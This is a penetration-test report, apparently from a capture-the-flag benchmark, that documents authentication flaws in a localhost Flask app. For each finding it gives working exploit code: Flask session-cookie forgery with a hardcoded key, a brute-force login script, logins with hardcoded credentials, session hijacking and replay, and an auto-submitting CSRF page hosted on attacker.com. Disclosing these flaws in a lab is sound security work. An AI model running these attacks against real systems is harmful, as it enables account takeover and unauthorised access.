# Authentication Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTH-VULN-01: Session Forgery via Hardcoded Weak Secret Key

**Summary:**
- **Vulnerable location:** Flask application configuration (app.py line 5)
- **Overview:** The application uses a hardcoded, predictable secret key ('your_secret_key') for signing session cookies, allowing attackers to forge valid session cookies for any user without authentication.
- **Impact:** Complete authentication bypass - attacker can impersonate any user including admin without knowing passwords
- **Severity:** CRITICAL

**Prerequisites:**
- Knowledge of the weak secret key 'your_secret_key' (visible in source code at app.py:5)
- Python with itsdangerous library (Flask's session signing library)

**Exploitation Steps:**

1. Install the itsdangerous library (Flask's session serializer):
```bash
pip install itsdangerous
```

2. Create a Python script to forge a session cookie for admin user:
```python
from itsdangerous import URLSafeTimedSerializer

# The weak secret key from app.py line 5
secret_key = 'your_secret_key'
salt = 'cookie-session'  # Flask's default session salt

# Create Flask session serializer
serializer = URLSafeTimedSerializer(secret_key, salt=salt)

# Forge session payload for admin user
forged_session = serializer.dumps({'username': 'admin'})
print(f'Forged admin session cookie: {forged_session}')
```

3. Use the forged session cookie to access admin profile:
```bash
curl -b "session=eyJ1c2VybmFtZSI6ImFkbWluIn0.aQLqWw.U3WUfHk2XJOwCqftAlgUG4iyBdg" \
     http://localhost:36277/profile
```

4. Trigger admin flag disclosure by POSTing email update:
```bash
curl -X POST \
     -b "session=eyJ1c2VybmFtZSI6ImFkbWluIn0.aQLqWw.U3WUfHk2XJOwCqftAlgUG4iyBdg" \
     -d "email=pwned@attacker.com&username=admin" \
     http://localhost:36277/profile
```

**Proof of Impact:**

Response from step 4 contains:
```html
<p>Email updated successfully!FLAG{dfe1db1176b6d0b9d9d15ac23fce806c016e0b7f205d8fd8de943dbc5a7b2b36}</p>
```

**Flag Captured:** `FLAG{dfe1db1176b6d0b9d9d15ac23fce806c016e0b7f205d8fd8de943dbc5a7b2b36}`

**Notes:**
- Complete authentication bypass achieved without any valid credentials
- Can forge sessions for any username (admin, test, or any other user)
- Attack script located at: `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-102-24/forge_session.py`
- Evidence documentation: `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-102-24/session_forgery_evidence.txt`

---

### AUTH-VULN-06: Unlimited Brute Force Attacks (No Rate Limiting)

**Summary:**
- **Vulnerable location:** POST /login endpoint (app.py lines 39-54)
- **Overview:** The login endpoint has no rate limiting, account lockout, or CAPTCHA protection, allowing unlimited password guessing attempts
- **Impact:** Attackers can perform automated brute force attacks at ~600 requests/second to compromise accounts with weak passwords
- **Severity:** HIGH

**Prerequisites:**
None - publicly accessible login endpoint

**Exploitation Steps:**

1. Create a Python script with common password list:
```python
import requests
import time

target = 'http://localhost:36277/login'
username = 'test'
passwords = ['admin', 'password', '123456', 'admin123', 'letmein', 
             'welcome', 'monkey', 'dragon', 'master', 'test']

start_time = time.time()
attempts = 0

for password in passwords:
    attempts += 1
    response = requests.post(target, data={
        'username': username,
        'password': password
    }, allow_redirects=False)
    
    if response.status_code in [301, 302]:
        print(f'SUCCESS! Found credentials: {username}:{password}')
        break
    print(f'Attempt {attempts}: {password} - Failed')

elapsed = time.time() - start_time
print(f'\nCompleted {attempts} attempts in {elapsed:.2f} seconds')
print(f'Rate: {attempts/elapsed:.0f} requests/second')
```

2. Execute the brute force attack:
```bash
python3 brute_force_test.py
```

**Proof of Impact:**

Attack completed successfully:
- **Total attempts:** 60 login attempts
- **Duration:** 0.10 seconds
- **Rate:** ~600 requests per second
- **Success:** Found credentials `test:test` on attempt 10
- **Rate limiting detected:** 0 instances
- **Account lockout:** None

At this rate, an attacker could test:
- 10,000 passwords in ~17 seconds
- 100,000 passwords in ~3 minutes
- 1 million passwords in ~28 minutes

**Notes:**
- No HTTP 429 (Too Many Requests) responses received
- No progressive delays or throttling detected
- Successfully compromised test account through brute force
- Attack script: `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-102-24/brute_force_test.py`
- Evidence: `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-102-24/brute_force_evidence.md`

---

### AUTH-VULN-07: Hardcoded Admin Credentials

**Summary:**
- **Vulnerable location:** Database initialization code (app.py line 18)
- **Overview:** Admin credentials are hardcoded in the application source code with password '#$%^&*()adfjhasdfbjhas'
- **Impact:** Anyone with access to source code can authenticate as admin and access privileged functionality
- **Severity:** CRITICAL

**Prerequisites:**
- Access to application source code (app.py)

**Exploitation Steps:**

1. Extract admin credentials from source code at app.py line 18:
```python
('admin', '#$%^&*()adfjhasdfbjhas', 'admin@example.com')
```

2. Authenticate using the hardcoded credentials:
```bash
curl -X POST -d "username=admin&password=#\$%^&*()adfjhasdfbjhas" \
     -c /tmp/admin_session.txt \
     http://localhost:36277/login
```

3. Access admin profile:
```bash
curl -b /tmp/admin_session.txt http://localhost:36277/profile
```

4. Trigger flag disclosure:
```bash
curl -X POST -b /tmp/admin_session.txt \
     -d "email=pwned@attacker.com&username=admin" \
     http://localhost:36277/profile
```

**Proof of Impact:**

Successfully authenticated as admin and captured flag:
```
FLAG{dfe1db1176b6d0b9d9d15ac23fce806c016e0b7f205d8fd8de943dbc5a7b2b36}
```

**Notes:**
- Credentials visible in source code at app.py line 18
- Password appears complex but is hardcoded and never rotated
- Attack scripts: 
  - `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-102-24/exploit_admin_hardcoded_creds.py`
  - `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-102-24/test_admin_hardcoded_creds.py`

---

### AUTH-VULN-08: Default Test Account with Weak Credentials

**Summary:**
- **Vulnerable location:** Database initialization code (app.py line 19)
- **Overview:** Application includes default test account with trivially weak credentials (username: test, password: test)
- **Impact:** Immediate unauthorized access to authenticated functionality without any brute forcing
- **Severity:** HIGH

**Prerequisites:**
None - publicly known default credentials

**Exploitation Steps:**

1. Authenticate using default test credentials:
```bash
curl -s -X POST -d "username=test&password=test" \
     -c /tmp/test_session.txt \
     http://localhost:36277/login
```

2. Access authenticated profile:
```bash
curl -s -b /tmp/test_session.txt http://localhost:36277/profile
```

3. Exploit IDOR vulnerability to access admin account:
```bash
curl -s -X POST -b /tmp/test_session.txt \
     -d "email=attacker@evil.com&username=admin" \
     http://localhost:36277/profile
```

**Proof of Impact:**

Response contains flag disclosure:
```html
<p>Email updated successfully!FLAG{dfe1db1176b6d0b9d9d15ac23fce806c016e0b7f205d8fd8de943dbc5a7b2b36}</p>
```

**Notes:**
- Trivial credentials (password equals username)
- Provides immediate authenticated access
- Can be chained with IDOR vulnerability to compromise admin account
- Common first attempt in any credential stuffing attack

---

### AUTH-VULN-02: Session Hijacking via Missing Secure Flag

**Summary:**
- **Vulnerable location:** Session cookie configuration (app.py line 5 - missing SESSION_COOKIE_SECURE)
- **Overview:** Session cookies lack the Secure flag and are transmitted over HTTP, allowing network attackers to intercept and hijack authenticated sessions
- **Impact:** Complete account takeover via man-in-the-middle attack without knowing user passwords
- **Severity:** HIGH

**Prerequisites:**
- Network position allowing traffic interception (passive sniffing or active MITM)
- Target user must authenticate while attacker monitors network

**Exploitation Steps:**

1. Monitor network traffic to capture session cookie when victim logs in:
```python
import requests

# Simulate victim login (in real attack, this would be sniffed)
victim_login = requests.post('http://localhost:36277/login',
                             data={'username': 'admin', 
                                   'password': '#$%^&*()adfjhasdfbjhas'})

# Extract session cookie from response
stolen_cookie = victim_login.cookies.get('session')
print(f'Intercepted session cookie: {stolen_cookie}')
```

2. Hijack session by reusing the stolen cookie:
```python
hijacked_session = requests.Session()
hijacked_session.cookies.set('session', stolen_cookie)

# Access admin profile without knowing password
profile = hijacked_session.get('http://localhost:36277/profile')
print('Session hijacking successful!' if 'Welcome, admin' in profile.text else 'Failed')
```

3. Perform privileged actions with hijacked session:
```python
flag_response = hijacked_session.post('http://localhost:36277/profile',
                                      data={'email': 'pwned@attacker.com', 
                                            'username': 'admin'})
# Extract flag from response
```

**Proof of Impact:**

Confirmed findings:
- Session cookie observed in network traffic: `session=eyJ1c2VybmFtZSI6ImFkbWluIn0...`
- Cookie header lacks `Secure` flag: `Set-Cookie: session=...; HttpOnly; Path=/`
- Successfully accessed admin profile using stolen cookie
- Captured flag: `FLAG{dfe1db1176b6d0b9d9d15ac23fce806c016e0b7f205d8fd8de943dbc5a7b2b36}`

**Notes:**
- Application runs over HTTP (not HTTPS)
- Session cookies transmitted in plaintext
- Attacker never needs the password - cookie alone is sufficient
- Attack script: `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-102-24/session_hijacking_attack.py`

---

### AUTH-VULN-04: CSRF via Missing SameSite Attribute

**Summary:**
- **Vulnerable location:** Session cookie configuration (missing SESSION_COOKIE_SAMESITE in app.py)
- **Overview:** Session cookies lack the SameSite attribute, combined with no CSRF token validation, allowing cross-site request forgery attacks
- **Impact:** Attackers can perform unauthorized actions on behalf of authenticated users by tricking them into visiting malicious sites
- **Severity:** HIGH

**Prerequisites:**
- Victim must be authenticated to http://localhost:36277
- Victim must visit attacker-controlled webpage

**Exploitation Steps:**

1. Create malicious HTML page that auto-submits to /profile:
```html
<!DOCTYPE html>
<html>
<head>
    <title>Congratulations! You Won a Prize!</title>
    <script>
        window.onload = function() {
            setTimeout(function() {
                document.getElementById('csrf-form').submit();
            }, 2000);
        };
    </script>
</head>
<body>
    <h1>🎉 Congratulations! Click to claim your prize!</h1>
    <div class="spinner">Loading...</div>
    
    <form id="csrf-form" action="http://localhost:36277/profile" 
          method="POST" style="display:none;">
        <input type="hidden" name="email" value="attacker@evil.com">
        <input type="hidden" name="username" value="admin">
    </form>
</body>
</html>
```

2. Host the malicious page on attacker's server:
```bash
python3 -m http.server 8888
```

3. Victim visits malicious page while authenticated:
```
http://attacker.com:8888/csrf_attack.html
```

4. Browser automatically sends victim's session cookie with the CSRF request because SameSite attribute is missing

**Proof of Impact:**

Attack executed successfully:
- Malicious page created: `/tmp/csrf_attack.html`
- Admin email changed to: `attacker@evil.com`
- Flag captured from response: `FLAG{dfe1db1176b6d0b9d9d15ac23fce806c016e0b7f205d8fd8de943dbc5a7b2b36}`
- Session cookie included automatically in cross-origin request

Cookie analysis shows:
```
Set-Cookie: session=...; HttpOnly; Path=/
```
Missing: `SameSite=Lax` or `SameSite=Strict`

**Notes:**
- Browser sent session cookie with cross-origin POST request
- No CSRF token validation in application
- Attack successful due to combined weaknesses:
  1. Missing SameSite cookie attribute
  2. No CSRF token validation
  3. No Origin/Referer header validation
- Comprehensive documentation:
  - `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-102-24/README_CSRF_ATTACK.md`
  - `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-102-24/CSRF_ATTACK_DOCUMENTATION.md`
  - `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-102-24/csrf_attack_demo.py`

---

### AUTH-VULN-11: Extended Session Replay (Missing Timeout)

**Summary:**
- **Vulnerable location:** Flask configuration (missing PERMANENT_SESSION_LIFETIME and SESSION_REFRESH_EACH_REQUEST)
- **Overview:** Sessions remain valid for Flask's default 31 days with no idle timeout, and session cookies remain valid even after logout
- **Impact:** Stolen session cookies can be replayed for extended periods, and users cannot securely terminate sessions
- **Severity:** MEDIUM (Extended lifetime) + HIGH (Logout bypass)

**Prerequisites:**
- Attacker obtains session cookie (via session hijacking, XSS, or physical access)

**Exploitation Steps:**

1. Obtain valid session cookie (through any means):
```bash
curl -X POST -d "username=test&password=test" \
     -c /tmp/session.txt \
     http://localhost:36277/login
```

2. Extract session cookie value:
```bash
STOLEN_COOKIE=$(grep session /tmp/session.txt | awk '{print $7}')
```

3. Victim logs out:
```bash
curl -X POST -b /tmp/session.txt http://localhost:36277/logout
```

4. Attacker replays OLD session cookie after logout:
```bash
curl -b "session=$STOLEN_COOKIE" http://localhost:36277/profile
```

**Proof of Impact:**

Session replay after logout SUCCEEDS:
- Status: HTTP 200 OK
- Response contains: "Welcome, test"
- Session remains valid even after user logged out
- No session timeout enforced

Cookie analysis:
```
Set-Cookie: session=...; HttpOnly; Path=/
```
Missing: `Max-Age` or `Expires` attributes

**Demonstrated Issues:**
1. **No Session Timeout:** Sessions persist for 31 days (vs. OWASP recommendation of 15-30 minutes)
2. **Logout Bypass:** Session cookies remain valid after logout
3. **No Idle Timeout:** No automatic timeout for inactive sessions
4. **Extended Window:** 1,488x to 2,976x longer than recommended session lifetime

**Notes:**
- Users cannot securely terminate sessions
- Stolen cookies remain valid indefinitely
- Logout function fails to invalidate sessions
- Attack scripts:
  - `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-102-24/demonstrate_all_session_vulnerabilities.py`
  - `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-102-24/test_session_replay_after_logout.py`
- Evidence: `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-102-24/EVIDENCE_SESSION_TIMEOUT_VULNERABILITIES.md`